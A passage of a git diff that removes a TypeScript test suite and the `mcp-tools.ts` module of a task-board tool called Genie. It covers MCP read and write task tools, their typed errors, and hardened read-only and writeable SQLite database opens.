cwd, - stdout: 'pipe', - stderr: 'pipe', - env: { ...process.env, NO_COLOR: '1', GENIE_TEST_SKIP_PGSERVE: '1' }, - }); - const [stdout, stderr] = await Promise.all([new Response(proc.stdout).text(), new Response(proc.stderr).text()]); - return { stdout, stderr, exitCode: await proc.exited }; -} - -describe('MCP_WRITE_TOOLS — the 12 operative write tools', () => { - let repo: string; - let db: Database; - let ctx: ToolContext; - - beforeEach(() => { - repo = initRepo(join(base, 'write-repo')); - db = openDb({ cwd: repo }); - ctx = { db, cwd: repo }; - }); - - afterEach(() => { - db?.close(); - }); - - function call(name: string, args: Record<string, unknown>): unknown { - const tool = MCP_WRITE_TOOLS.find((t) => t.name === name); - if (!tool) throw new Error(`no write tool ${name}`); - return tool.handler(ctx, args); - } - - function expectOk<T = Record<string, unknown>>(result: unknown): T { - expect(isToolError(result)).toBe(false); - return result as T; - } - - function expectError(result: unknown, code: string): Record<string, unknown> { - expect(isToolError(result)).toBe(true); - const payload = unwrapToolError(result as ToolResult) as Record<string, unknown>; - expect(payload.error).toBe(code); - return payload; - } - - function readyTask(title: string): string { - return createTask(db, { title }).id; - } - - test('MCP_TOOLS stays the 5 read tools — ui-bridge splice untouched', () => { - expect(MCP_TOOLS.map((t) => t.name).sort()).toEqual([ - 'genie_active', - 'genie_board', - 'genie_task', - 'genie_wish_status', - 'genie_worktree_context', - ]); - }); - - test('MCP_WRITE_TOOLS exposes exactly the 12 operative-core verbs', () => { - expect(MCP_WRITE_TOOLS.map((t) => t.name).sort()).toEqual([ - 'genie_task_add_dependency', - 'genie_task_block', - 'genie_task_checkout', - 'genie_task_comment', - 'genie_task_create', - 'genie_task_done', - 'genie_task_heartbeat', - 'genie_task_move', - 'genie_task_release', - 'genie_task_report', - 'genie_task_set_wish', - 'genie_task_unblock', - ]); - }); - - // --- genie_task_create ---------------------------------------------------- - - test('genie_task_create mirrors task create: the row lands with CLI-identical fields', () => { - const board = createBoard(db, 'repo'); - const result = expectOk<{ task: TaskSummary }>( - call('genie_task_create', { title: 'new card', board: 'repo', wish: 'mcp-write-tools', group: 'g2' }), - ); - expect(result.task.title).toBe('new card'); - const row = getTask(db, result.task.id); - expect(row).not.toBeNull(); - expect(row?.status).toBe('ready'); - expect(row?.wish).toBe('mcp-write-tools'); - expect(row?.group).toBe('g2'); - expect(row?.boardId).toBe(board.id); - expect(row?.claimedBy).toBeNull(); - }); - - test('genie_task_create rejects missing title and group-without-wish as invalid_arguments', () => { - expectError(call('genie_task_create', {}), 'invalid_arguments'); - expectError(call('genie_task_create', { title: 'x', group: 'g2' }), 'invalid_arguments'); - expect(getTask(db, 't_missing')).toBeNull(); - }); - - test('genie_task_create with an unknown board returns typed not_found, never -32603', () => { - const payload = expectError(call('genie_task_create', { title: 'x', board: 'no_such_board' }), 'not_found'); - expect(payload.detail).toBe('no_such_board'); - expect(String(payload.message)).toContain('Board not found'); - expect(getTask(db, 't_missing')).toBeNull(); - }); - - // --- genie_task_checkout -------------------------------------------------- - - test('genie_task_checkout claims atomically: two workers claim two claimed_by values on one server', () => { - const a = readyTask('a'); - const b = readyTask('b'); - const ra = expectOk<{ task: TaskSummary }>(call('genie_task_checkout', { id: a, worker: 'w1' })); - const rb = expectOk<{ task: TaskSummary }>(call('genie_task_checkout', { id: b, worker: 'w2' })); - expect(ra.task.claimedBy).toBe('w1'); - expect(rb.task.claimedBy).toBe('w2'); - expect(getTask(db, a)?.status).toBe('in_progress'); - expect(getTask(db, b)?.status).toBe('in_progress'); - // the claim event attributes the env fallback (no author arg given) - expect(getTaskEvents(db, a)[0]?.kind).toBe('claim'); - }); - - test('genie_task_checkout on an already-claimed card → typed claim_conflict', () => { - const t = readyTask('a'); - call('genie_task_checkout', { id: t, worker: 'w1' }); - const payload = expectError(call('genie_task_checkout', { id: t, worker: 'w2' }), 'claim_conflict'); - expect(payload.taskId).toBe(t); - expect(getTask(db, t)?.claimedBy).toBe('w1'); - }); - - test('genie_task_checkout on an enforced-blocked card → refused_transition (TaskBlockedError)', () => { - const t = readyTask('a'); - blockTask(db, t, 'waiting on design', { author: 'orch', authorKind: 'human' }); - const payload = expectError(call('genie_task_checkout', { id: t, worker: 'w1' }), 'refused_transition'); - expect(payload.detail).toBe('TaskBlockedError'); - }); - - test('genie_task_checkout rejects unknown ids and missing worker', () => { - expectError(call('genie_task_checkout', { id: 't_missing', worker: 'w1' }), 'not_found'); - const t = readyTask('a'); - expectError(call('genie_task_checkout', { id: t }), 'invalid_arguments'); - }); - - // --- genie_task_done ------------------------------------------------------ - - test('genie_task_done completes a card and recomputes the ready set (dependent flips to ready)', () => { - const parent = readyTask('parent'); - const child = createTask(db, { title: 'child', dependsOn: [parent] }).id; - expect(getTask(db, child)?.status).toBe('blocked'); - call('genie_task_checkout', { id: parent, worker: 'w1' }); - const result = expectOk<{ task: TaskSummary }>(call('genie_task_done', { id: parent, author: 'orch' })); - expect(result.task.status).toBe('done'); - // recomputeReady ran inside completeTask — the dependent is ready now - expect(getTask(db, child)?.status).toBe('ready'); - // the release event carries the explicit author - const events = getTaskEvents(db, parent); - expect(events.some((e) => e.kind === 'release' && e.author === 'orch')).toBe(true); - }); - - test('genie_task_done refuses blocked and already-done cards → refused_transition with the class name', () => { - const parent = readyTask('parent'); - const child = createTask(db, { title: 'child', dependsOn: [parent] }).id; - const blocked = expectError(call('genie_task_done', { id: child }), 'refused_transition'); - expect(blocked.detail).toBe('TaskNotReadyError'); - call('genie_task_done', { id: parent }); - const alreadyDone = expectError(call('genie_task_done', { id: parent }), 'refused_transition'); - expect(alreadyDone.detail).toBe('TaskCompleteError'); - expectError(call('genie_task_done', { id: 't_missing' }), 'not_found'); - }); - - // --- genie_task_move ------------------------------------------------------ - - test('genie_task_move moves a card to a defined lane, mirroring task move', () => { - const board = createBoard(db, 'kanban', [{ name: 'Idea' }, { name: 'Doing' }, { name: 'Done' }]); - const t = createTask(db, { title: 'a', boardId: board.id }).id; - const result = expectOk<{ task: TaskSummary; from: string | null; to: string }>( - call('genie_task_move', { id: t, to: 'Doing', author: 'w1' }), - ); - expect(result.to).toBe('Doing'); - expect(result.from).toBeNull(); - expect(getTaskLane(db, t)).toBe('Doing'); - expect(getTaskEvents(db, t).some((e) => e.kind === 'move' && e.author === 'w1')).toBe(true); - }); - - test('genie_task_move rejects undefined and no-lane targets → invalid_lane', () => { - const board = createBoard(db, 'kanban', [{ name: 'Idea' }, { name: 'Done' }]); - const t = createTask(db, { title: 'a', boardId: board.id }).id; - const unknown = expectError(call('genie_task_move', { id: t, to: 'Nope' }), 'invalid_lane'); - expect(String(unknown.message)).toContain('Idea'); - const noLanes = createTask(db, { title: 'b', boardId: createBoard(db, 'repo').id }).id; - expectError(call('genie_task_move', { id: noLanes, to: 'Doing' }), 'invalid_lane'); - expectError(call('genie_task_move', { id: 't_missing', to: 'Doing' }), 'not_found'); - }); - - // --- genie_task_block / genie_task_unblock -------------------------------- - - test('genie_task_block places an enforced block (checkout refused) and unblock clears it', () => { - const t = readyTask('a'); - const blocked = expectOk<{ task: TaskSummary }>( - call('genie_task_block', { id: t, reason: 'waiting', author: 'orch' }), - ); - expect(blocked.task.status).toBe('ready'); // a block does not change status - expect(getTaskEvents(db, t).some((e) => e.kind === 'block' && e.note === 'waiting' && e.author === 'orch')).toBe( - true, - ); - expectError(call('genie_task_checkout', { id: t, worker: 'w1' }), 'refused_transition'); - expectOk(call('genie_task_unblock', { id: t, author: 'orch' })); - expectOk(call('genie_task_checkout', { id: t, worker: 'w1' })); // claimable again - }); - - test('genie_task_block records a hold kind and both verbs reject unknown ids', () => { - const t = readyTask('a'); - call('genie_task_block', { id: t, reason: 'parked', hold: true }); - expectError(call('genie_task_checkout', { id: t, worker: 'w1' }), 'refused_transition'); - expectError(call('genie_task_block', { id: 't_missing', reason: 'x' }), 'not_found'); - expectError(call('genie_task_unblock', { id: 't_missing' }), 'not_found'); - expectError(call('genie_task_block', { id: t }), 'invalid_arguments'); - }); - - // --- genie_task_release --------------------------------------------------- - - test('genie_task_release returns a claimed card to the ready queue', () => { - const t = readyTask('a'); - call('genie_task_checkout', { id: t, worker: 'w1' }); - const result = expectOk<{ task: TaskSummary }>(call('genie_task_release', { id: t, author: 'w1' })); - expect(result.task.status).toBe('ready'); - expect(result.task.claimedBy).toBeNull(); - expect(getTask(db, t)?.claimedBy).toBeNull(); - expect(getTaskEvents(db, t).some((e) => e.kind === 'release' && e.note === 'released')).toBe(true); - }); - - test('genie_task_release on an unclaimed ready card → refused_transition (TaskReleaseError)', () => { - const t = readyTask('a'); - const payload = expectError(call('genie_task_release', { id: t }), 'refused_transition'); - expect(payload.detail).toBe('TaskReleaseError'); - expectError(call('genie_task_release', { id: 't_missing' }), 'not_found'); - }); - - // --- genie_task_comment / genie_task_report ------------------------------- - - test('genie_task_comment and genie_task_report append authored timeline events', () => { - const t = readyTask('a'); - const comment = expectOk<{ taskId: string; event: { kind: string; note: string; author: string | null } }>( - call('genie_task_comment', { id: t, text: 'look at this', author: 'w1' }), - ); - expect(comment.event.kind).toBe('comment'); - expect(comment.event.note).toBe('look at this'); - const report = expectOk<{ taskId: string; event: { kind: string; note: string; author: string | null } }>( - call('genie_task_report', { id: t, text: 'blocked on review', author: 'w1' }), - ); - expect(report.event.kind).toBe('report'); - const events = getTaskEvents(db, t); - expect(events.map((e) => e.kind)).toEqual(['comment', 'report']); - expect(events.every((e) => e.author === 'w1')).toBe(true); - }); - - test('genie_task_comment / genie_task_report reject unknown ids and empty text', () => { - expectError(call('genie_task_comment', { id: 't_missing', text: 'x' }), 'not_found'); - expectError(call('genie_task_report', { id: 't_missing', text: 'x' }), 'not_found'); - const t = readyTask('a'); - expectError(call('genie_task_comment', { id: t, text: ' ' }), 'invalid_arguments'); - expectError(call('genie_task_report', { id: t }), 'invalid_arguments'); - }); - - // --- genie_task_heartbeat ------------------------------------------------- - - test('genie_task_heartbeat records heartbeat_at as a bare timestamp write, not an event', () => { - const t = readyTask('a'); - call('genie_task_checkout', { id: t, worker: 'w1' }); - const result = expectOk<{ taskId: string; heartbeatAt: number }>(call('genie_task_heartbeat', { id: t })); - expect(result.heartbeatAt).toBeGreaterThan(0); - expect(getTaskEvents(db, t)).toHaveLength(1); // only the claim event - expectError(call('genie_task_heartbeat', { id: 't_missing' }), 'not_found'); - }); - - // --- genie_task_set_wish -------------------------------------------------- - - test('genie_task_set_wish attaches, re-points, and clears the wish identity', () => { - const t = readyTask('a'); - const attach = expectOk<{ - task: TaskSummary; - from: { wish: string | null; group: string | null }; - to: { wish: string | null; group: string | null }; - }>(call('genie_task_set_wish', { id: t, wish: 'alpha', author: 'orch' })); - expect(attach.from).toEqual({ wish: null, group: null }); - expect(attach.to).toEqual({ wish: 'alpha', group: null }); - expect(getTask(db, t)?.wish).toBe('alpha'); - expect(getTaskEvents(db, t).some((e) => e.kind === 'wish' && e.author === 'orch')).toBe(true); - - expectOk(call('genie_task_set_wish', { id: t, wish: 'beta', group: 'g2' })); - expect(getTask(db, t)?.wish).toBe('beta'); - expect(getTask(db, t)?.group).toBe('g2'); - - expectOk(call('genie_task_set_wish', { id: t, clear: true })); - expect(getTask(db, t)?.wish).toBeNull(); - expect(getTask(db, t)?.group).toBeNull(); - }); - - test('genie_task_set_wish enforces the CLI arg guards and unknown ids', () => { - const t = readyTask('a'); - expectError(call('genie_task_set_wish', { id: t, group: 'g2' }), 'invalid_arguments'); - expectError(call('genie_task_set_wish', { id: t, wish: 'x', clear: true }), 'invalid_arguments'); - expectError(call('genie_task_set_wish', { id: t }), 'invalid_arguments'); - expectError(call('genie_task_set_wish', { id: 't_missing', wish: 'x' }), 'not_found'); - }); - - test('genie_task_set_wish rejects a supplied-but-empty group instead of dropping it (CLI parity)', () => { - const t = readyTask('a'); - // `task set-wish --group ''` fails with "--group must not be empty."; the - // tool must not silently attach the wish with no group and report success. - for (const group of ['', ' ', 42]) { - const payload = expectError(call('genie_task_set_wish', { id: t, wish: 'w1', group }), 'invalid_arguments'); - expect(String(payload.detail)).toContain('group must not be empty'); - } - expect(getTask(db, t)?.wish).toBeNull(); - // An omitted group stays optional: the wish attaches with a null group. - expectOk(call('genie_task_set_wish', { id: t, wish: 'w1' })); - expect(getTask(db, t)?.wish).toBe('w1'); - expect(getTask(db, t)?.group).toBeNull(); - }); - - // --- genie_task_add_dependency -------------------------------------------- - - test('genie_task_add_dependency inserts the edge and rejects cycles and unknown tasks', () => { - const a = readyTask('a'); - const b = readyTask('b'); - const result = expectOk<{ taskId: string; dependsOnId: string }>( - call('genie_task_add_dependency', { id: b, depends_on: a }), - ); - expect(result).toEqual({ taskId: b, dependsOnId: a }); - expect(getDependencies(db, b)).toEqual([a]); - expectError(call('genie_task_add_dependency', { id: a, depends_on: a }), 'dependency_cycle'); // self - expectError(call('genie_task_add_dependency', { id: a, depends_on: b }), 'dependency_cycle'); // transitive - expectError(call('genie_task_add_dependency', { id: 't_missing', depends_on: a }), 'not_found'); - expectError(call('genie_task_add_dependency', { id: a }), 'invalid_arguments'); - }); - - // --- identity / error-channel contracts ----------------------------------- - - test('the server env identity is the fallback when author/worker args are absent (Decision 8)', () => { - const t = readyTask('a'); - const keys = ['GENIE_AGENT_NAME', 'GENIE_AGENT_KIND', 'CODEX_THREAD_ID'] as const; - const prev = keys.map((key) => [key, process.env[key]] as const); - try { - process.env.GENIE_AGENT_NAME = 'env-agent'; - process.env.GENIE_AGENT_KIND = 'codex'; - Reflect.deleteProperty(process.env, 'CODEX_THREAD_ID'); - call('genie_task_checkout', { id: t, worker: 'w1' }); // no author arg - const events = getTaskEvents(db, t); - expect(events[0]?.author).toBe('env-agent'); - expect(events[0]?.authorKind).toBe('codex'); - } finally { - for (const [key, value] of prev) { - if (value === undefined) Reflect.deleteProperty(process.env, key); - else process.env[key] = value; - } - } - // The identity env is process-global: a leak here would silently re-attribute - // every later test in this process. - for (const [key, value] of prev) expect(process.env[key]).toBe(value); - }); - - test('a write reaching a raw readonly handle maps to read_only_database, never -32603', () => { - const t = readyTask('a'); - db.exec('PRAGMA wal_checkpoint(TRUNCATE)'); - db.close(); - const readonly = new Database(join(repo, '.genie', 'genie.db'), { readonly: true }); - const roCtx: ToolContext = { db: readonly, cwd: repo }; - try { - const result = callOn(roCtx, 'genie_task_comment', { id: t, text: 'x' }); - const payload = expectError(result, 'read_only_database'); - expect(String(payload.detail)).toMatch(/readonly/i); - } finally { - readonly.close(); - } - }); - - test('on a write-protected fully-current db, write tools return read_only_database while reads still serve', () => { - const roRepo = initRepo(join(base, 'ro-repo')); - seedDb(roRepo); - const path = join(roRepo, '.genie', 'genie.db'); - const genieDir = join(roRepo, '.genie'); - chmodSync(path, 0o444); - chmodSync(genieDir, 0o555); - try { - try { - accessSync(path, fsConstants.W_OK); - return; // running as root — the degrade scenario is inexpressible here - } catch { - // write access revoked as intended — proceed - } - const handle = openWriteableDb(roRepo); - if (handle === null) { - // This platform cannot even read a write-protected WAL db — inexpressible. - return; - } - expect(isDegradedReadonlyDb(handle)).toBe(true); - const roCtx: ToolContext = { db: handle, cwd: roRepo }; - const payload = expectError(callOn(roCtx, 'genie_task_create', { title: 'x' }), 'read_only_database'); - expect(String(payload.detail)).toContain('read-only'); - // the degraded handle still serves reads (strict validator intact) - const board = MCP_TOOLS.find((x) => x.name === 'genie_board')!.handler(roCtx, {}); - expect((board as { counts: { total: number } }).counts.total).toBe(1); - handle.close(); - } finally { - chmodSync(genieDir, 0o755); - chmodSync(path, 0o644); - } - }); - - test('cross-process claim contention through standalone task CLI: exactly one winner and one conflict', async () => { - const race = initRepo(join(base, 'race-repo')); - const seed = openDb({ cwd: race }); - createBoard(seed, 'repo'); - const task = createTask(seed, { title: 'race' }); - seed.exec('PRAGMA wal_checkpoint(TRUNCATE)'); - seed.close(); - - const drive = (worker: string) => spawnTaskCli(race, ['checkout', task.id, '--worker', worker]); - - const [a, b] = await Promise.all([drive('w1'), drive('w2')]); - const outcomes = [a, b]; - const winners = outcomes.filter((run) => run.exitCode === 0); - const losers = outcomes.filter((run) => run.exitCode === 1); - expect(winners).toHaveLength(1); - expect(losers).toHaveLength(1); - expect(winners[0].stdout).toContain('in_progress'); - expect(winners[0].stderr).toBe(''); - expect(losers[0].stdout).toBe(''); - expect(losers[0].stderr).toContain('not claimable'); - const check = openDb({ cwd: race }); - try { - const claimedBy = getTask(check, task.id)?.claimedBy ?? null; - if (claimedBy === null) throw new Error('no claim persisted'); - expect(['w1', 'w2']).toContain(claimedBy); // exactly one claim persisted - } finally { - check.close(); - } - }, 30_000); // two cold standalone CLI boots race here; loaded CI runners exceed the 5s default -}); - -function callOn(ctx: ToolContext, name: string, args: Record<string, unknown>): unknown { - const tool = MCP_WRITE_TOOLS.find((t) => t.name === name); - if (!tool) throw new Error(`no write tool ${name}`); - return tool.handler(ctx, args); -} - -type ToolResult = ToolErrorResult<Record<string, unknown>>; diff --git a/src/lib/v5/mcp-tools.ts b/src/lib/v5/mcp-tools.ts deleted file mode 100644 index 8246e62ac..000000000 --- a/src/lib/v5/mcp-tools.ts +++ /dev/null @@ -1,1126 +0,0 @@ -/** - * Genie v5 tool projections and historical dispatch handlers for - * `.genie/genie.db`: 5 read tools (`MCP_TOOLS`) plus the retained 12 operative - * write handlers (`MCP_WRITE_TOOLS`). The public write-capable MCP command is - * retired; standalone board/task commands remain authoritative. - * - * The live read-only bridge loads this module without pulling its SQLite opens - * into unrelated `genie board`, `genie task`, or `genie --help` paths. - * - * The retained {@link openWriteableDb} contract covers the historical hardened - * write path and its degrade behavior. Readonly open internals remain live for - * `genie ui-bridge`, which injects its own readonly open. - */ - -import { constants, Database } from 'bun:sqlite'; -import { execFileSync } from 'node:child_process'; -import { accessSync, constants as fsConstants } from 'node:fs'; -import { assertLocalLifecycleEnabled } from '../orchestration-mode.js'; -import { - BusyDbError, - type ProjectContext, - type ProjectDatabaseBinding, - isCurrentGenieDb, - isReadableGenieDb, - openDb, - resolveDbPath, - resolveProjectDatabaseBinding, -} from './genie-db.js'; -import { resolveEventAuthor } from './identity.js'; -import { type ToolErrorResult, isToolError, toolError } from './mcp-server.js'; -import { resolveWishBranch } from './resolve-wish-branch.js'; -import { BUSY_TIMEOUT_MS, isBusyError, openWithWalIndexRecovery } from './sqlite-open.js'; - -// Re-exported for the fail-closed bridge context path while keeping bun:sqlite -// opens out of the eager genie.ts import graph. -export { type ProjectContext, resolveProjectContext } from './genie-db.js'; -import { - type BlockKind, - CheckoutConflictError, - CycleError, - type EventAuthor, - type FrozenTaskRow, - LaneError, - TaskBlockedError, - TaskCompleteError, - type TaskFilter, - TaskNotReadyError, - TaskReleaseError, - type TaskRow, - UnknownBoardError, - UnknownTaskError, - type WishGroupRow, - addDependency, - appendTaskEvent, - blockTask, - claimTask, - completeTask, - createTask, - getBoardByName, - getTask, - listTasks, - listWishSlugs, - moveTask, - recordHeartbeat, - releaseTask, - resolveBoard, - setTaskWish, - toFrozenTaskRow, - unblockTask, -} from './task-state.js'; - -// ============================================================================ -// Read-only DB open (exact validated binding; null on any mismatch) -// ============================================================================ - -export interface ReadonlyDbOpenDependencies { - /** Test seam around the constructor; production always opens Bun SQLite readonly. */ - openDatabase?: (path: string) => Database; - /** Test seam for deterministic moved/unsupported-handle refusal. */ - verifyOpenedHandle?: (db: Database) => boolean; -} - -/** - * Ask SQLite's opened VFS handle whether its pathname still names that handle. - * A nonzero return code, moved flag, or exception (including an unsupported - * VFS) is a fail-closed mismatch. - */ -export function readonlyDatabaseHandleMatchesPath(db: Pick<Database, 'fileControl'>): boolean { - const moved = new Int32Array(1); - try { - const result = db.fileControl(constants.SQLITE_FCNTL_HAS_MOVED, moved); - return result === 0 && moved[0] === 0; - } catch { - return false; - } -} - -function closeReadonlyDb(db: Database | null): void { - try { - db?.close(); - } catch { - // The caller is already failing closed; cleanup must not turn null into a throw. - } -} - -/** - * Open the repo's shared `.genie/genie.db` READ-ONLY. A project MCP caller - * supplies the exact physical binding produced by `resolveProjectContext`; - * legacy callers may supply cwd and receive the same path validation here. - * Symlinks, non-regular files, and identity substitutions return `null`. - * - * The read-only connection is given the SAME `busy_timeout` as the shared write - * primitive (see sqlite-open.ts): under concurrent access a straggling WAL - * writer must be waited out, not surfaced as an instant `-32603 "database is - * locked"`. `busy_timeout` is valid on a readonly connection and does not - * mutate the file. The binding is revalidated both before and after SQLite opens - * it. SQLite's `SQLITE_FCNTL_HAS_MOVED` check additionally binds the opened VFS - * handle itself, catching an A→B constructor race even if the path is restored - * to A before post-open lstat. Unsupported VFS implementations fail closed. - */ -export function openReadonlyDb( - target?: string | ProjectDatabaseBinding, - dependencies: ReadonlyDbOpenDependencies = {}, -): Database | null { - assertLocalLifecycleEnabled(); - const initial = - typeof target === 'object' - ? resolveProjectDatabaseBinding(target.logicalPath, target) - : resolveProjectDatabaseBinding(resolveDbPath(target)); - if (!initial.ok) return null; - let db: Database | null = null; - const verifyOpenedHandle = dependencies.verifyOpenedHandle ?? readonlyDatabaseHandleMatchesPath; - try { - db = - dependencies.openDatabase?.(initial.binding.physicalPath) ?? - new Database(initial.binding.physicalPath, { readonly: true }); - if (!verifyOpenedHandle(db)) { - closeReadonlyDb(db); - return null; - } - const revalidated = resolveProjectDatabaseBinding(initial.binding.logicalPath, initial.binding); - if (!revalidated.ok) { - closeReadonlyDb(db); - return null; - } - if (!verifyOpenedHandle(db)) { - closeReadonlyDb(db); - return null; - } - db.exec(`PRAGMA busy_timeout = ${BUSY_TIMEOUT_MS}`); - return db; - } catch { - closeReadonlyDb(db); - return null; - } -} - -/** - * Read-only open that self-heals an additive-lag schema before failing closed. - * - * Additive columns land within `user_version = 1` and are backfilled only by - * write-path opens (`openDb` → `ensureSchema`), so a database stamped by an - * earlier build stays permanently rejected by `isCurrentGenieDb` for a consumer - * that only ever reads — such as the read-only bridge. When (and only when) a successful - * readonly open validates stale, run the same idempotent write-path open every - * CLI command already performs, then reopen readonly through the full hardened - * binding path. - * - * An ABSENT database never reaches the write open (`openReadonlyDb` returns - * null first), preserving this module's no-create contract. A foreign, future - * (`user_version` ≠ current), or malformed database is refused by `openDb`'s - * typed guards, so everything that is not additive lag still fails closed — - * with one carve-out: when the heal WRITE itself is impossible (read-only - * filesystem) but the schema shape is already current, the database is served - * readonly anyway via {@link isReadableGenieDb}. - */ -export function openReadonlyDbHealingStaleSchema(target?: string | ProjectDatabaseBinding): Database | null { - const db = openReadonlyDb(target); - if (db === null) return null; - let current = false; - try { - current = isCurrentGenieDb(db); - } catch { - closeReadonlyDb(db); - return null; - } - if (current) return db; - closeReadonlyDb(db); - try { - if (typeof target === 'object') { - // The validated readonly handle is closed, so nothing pins the path's - // identity while openDb creates a WRITABLE handle. Revalidate the exact - // binding at the last moment so a racing substitution cannot route - // ensureSchema's DDL into a swapped file or symlink target; the - // post-heal hardened reopen below re-verifies both the binding and the - // opened handle before any tool can observe a healed database. - if (!resolveProjectDatabaseBinding(target.logicalPath, target).ok) return null; - openDb({ path: target.physicalPath }).close(); - } else { - openDb({ path: resolveDbPath(target) }).close(); - } - } catch { - // The write-path heal itself failed — read-only mount, a sandboxed process - // with read-but-not-write access to .genie/genie.db, a CI checkout. When - // the database's SHAPE is already current and only a data-only migration - // marker is pending, every read still works: degrade to serving it instead - // of failing closed on state no read depends on. A shape-stale database - // (missing columns this build queries) stays refused. - return reopenReadableDespiteFailedHeal(target); - } - return openReadonlyDb(target); -} - -/** Post-heal-failure fallback: serve the database readonly iff its shape is current. */ -function reopenReadableDespiteFailedHeal(target?: string | ProjectDatabaseBinding): Database | null { - const db = openReadonlyDb(target); - if (db === null) return null; - try { - if (isReadableGenieDb(db)) return db; - } catch { - // malformed while inspecting — fall through to the close below - } - closeReadonlyDb(db); - return null; -} - -// ============================================================================ -// Write-capable DB open (hardened write path + read-only-degrade fallback) -// ============================================================================ - -/** - * Handles served by the read-only-degrade fallback inside {@link openWriteableDb}. - * Membership is DERIVED FROM WHICH OPEN PRODUCED THE HANDLE — never a latched - * session flag: a handle added here was produced by the readonly healing open - * after the write path failed, so writes through it would raise SQLITE_READONLY. - * The operative write tools (Group 2) consult {@link isDegradedReadonlyDb} to - * return a typed `read_only_database` error instead of a protocol failure. The - * per-open derivation means a repaired filesystem restores writes on the next - * successful write open (fresh handle, no membership) and a later failure - * re-degrades (fresh handle, membership again) — and the server loop re-opens - * per call while its handle is degraded (`isDegradedHandle`), so that recovery - * lands inside a live session instead of waiting for a client restart. - */ -const degradedReadonlyHandles = new WeakSet<Database>(); - -/** True when `db` was produced by the read-only-degrade fallback (writes would fail). */ -export function isDegradedReadonlyDb(db: Database | null | undefined): boolean { - return db !== null && db !== undefined && degradedReadonlyHandles.has(db); -} - -/** Open a readonly fallback and mark it so writes stay typed and promotion keeps retrying. */ -export function openDegradedReadonlyDb(target?: string | ProjectDatabaseBinding): Database | null { - const degraded = openReadonlyDbHealingStaleSchema(target); - if (degraded !== null) degradedReadonlyHandles.add(degraded); - return degraded; -} - -/** - * Open the repo's shared `.genie/genie.db` WRITE-CAPABLE through the standard - * hardened CLI path, degrading to the readonly healing open when the write is - * impossible. Retained for its hardened open/degrade contract tests. - * - * 1. WRITE PATH — revalidate the exact `resolveProjectDatabaseBinding` binding - * (Decision 4: writes into a substituted/symlinked db are strictly worse - * than reads), refuse up front when the file is not writable (bun:sqlite - * silently opens a READONLY connection on some platforms instead of - * throwing — a pre-check keeps degrade deterministic everywhere), then - * `openDb` (WAL + `busy_timeout` + idempotent schema — the exact primitive - * every CLI command uses). EVERY throw (`MalformedDbError`, `ForeignDbError`, - * anything) is caught and translated to the loop's `null` contract: the - * injected open never lets an exception escape (the loop calls it outside - * any `try`). Post-open binding + VFS-handle revalidation mirrors the - * readonly path: a mid-open substitution is bounded to the open itself — - * DDL that already ran against a substituted file cannot be undone, but the - * mismatched handle is discarded before any tool can observe or mutate it - * (the same residual as the readonly healing path). - * 2. STALE-READONLY-SIDECAR RECOVERY — a poisoned WAL index (the read-only - * header the degrade fallback's own close leaves in `-shm`) is healed around - * the write open by `openWithWalIndexRecovery` (see {@link tryWriteOpen}). - * The heal is scoped to THIS path — never the fleet-wide `openSqlite` — for - * the reason spelled out in sqlite-open.ts: only here is the poison created, - * and only here is the concurrency low enough for the probe to be safe. A - * poison the heal cannot repair (un-checkpointed frames, or a live peer) - * surfaces as a typed `WalIndexPoisonError` and falls through to (4). - * 3. BUSY CARVE-OUT — when the write-open failure is a `BusyDbError` (the - * write lock was contended past `busy_timeout` + backoff — the db is - * healthy, another process is writing), return `null` WITHOUT the - * read-only-degrade fallback: a fully-writable db that merely lost a lock - * race must not be marked degraded for the session (write tools would - * otherwise report `read_only_database` for a merely-busy db). The loop's - * per-call reopen retries the write open on the next call. - * 4. READ-ONLY-DEGRADE FALLBACK — when the write path still fails - * (write-protected file/filesystem, malformed, foreign), fall back to the - * readonly healing open. The loop's strict `validateReadonlyDb: - * isCurrentGenieDb` adjudicates the fallback handle: exactly the - * fully-current database is served, unchanged from today's behavior. The - * degraded handle is marked in {@link isDegradedReadonlyDb}; the state is - * recomputed per open, never latched. - * - * The no-create guarantee rests on resolver ordering (Decision 5): a non-`ok` - * project context never reaches this open, so `openDb`'s mkdir/create side - * effects are unreachable outside a healthy genie repo — MCP never creates - * `.genie/` or `genie.db`. - */ -export interface WriteableDbOpenDependencies { - /** Test seam around the write-path open; production always uses `genie-db`'s `openDb`. */ - openDatabase?: (path: string) => Database; -} - -/** Result of one write-path attempt: a validated handle, or a null with its cause. */ -interface WriteOpenAttempt { - db: Database | null; - /** True when the open failed on transient write-lock contention (`BusyDbError`). */ - busy: boolean; -} - -export function openWriteableDb( - target?: string | ProjectDatabaseBinding, - dependencies: WriteableDbOpenDependencies = {}, -): Database | null { - const initial = - typeof target === 'object' - ? resolveProjectDatabaseBinding(target.logicalPath, target) - : resolveProjectDatabaseBinding(resolveDbPath(target)); - let db: Database | null = null; - if (initial.ok) { - const attempt = tryWriteOpen(initial.binding, dependencies); - if (attempt.busy) return null; // contended write lock — never degrade a healthy-but-busy db - db = attempt.db; - } - if (db !== null) return db; - return openDegradedReadonlyDb(target); -} - -/** True when the db file itself is writable (bun:sqlite would open it read-write). */ -function isFileWritable(path: string): boolean { - try { - accessSync(path, fsConstants.W_OK); - return true; - } catch { - return false; - } -} - -/** - * One write-path attempt: writability gate → open (under WAL-index recovery) → - * post-open revalidation. - * - * This is the ONE place `openWithWalIndexRecovery` is wired in, because this is - * the one place that CREATES the poison it heals: the degrade fallback below - * hands out a read-only handle, and closing that handle (the loop's - * `promoteDegradedHandle`) is what writes the read-only WAL-index header into - * `-shm`. Scoping the heal here keeps the probe's journal-mode churn out of the - * fleet-wide `openSqlite` hot path, where the virgin-vs-poison header ambiguity - * would fire it on healthy contended databases (see the recovery section in - * sqlite-open.ts). A single-owner MCP session is exactly the low-concurrency - * context the heal is safe in. - */ -function tryWriteOpen(binding: ProjectDatabaseBinding, dependencies: WriteableDbOpenDependencies): WriteOpenAttempt { - if (!isFileWritable(binding.physicalPath)) return { db: null, busy: false }; - const open = (): Database => - dependencies.openDatabase?.(binding.physicalPath) ?? openDb({ path: binding.physicalPath }); - let db: Database | null = null; - try { - db = openWithWalIndexRecovery(binding.physicalPath, open); - // Post-open revalidation: the binding AND the opened VFS handle must still - // name the validated file before any tool can observe or mutate it. This - // bounds a mid-open substitution to the open itself — DDL that already ran - // against a substituted file cannot be undone, but the mismatched handle is - // discarded here, never visible to a tool. - if (!resolveProjectDatabaseBinding(binding.logicalPath, binding).ok || !readonlyDatabaseHandleMatchesPath(db)) { - closeReadonlyDb(db); - return { db: null, busy: false }; - } - return { db, busy: false }; - } catch (err) { - // A contended lock (typed by the shared open, or raw from an injected one) - // is 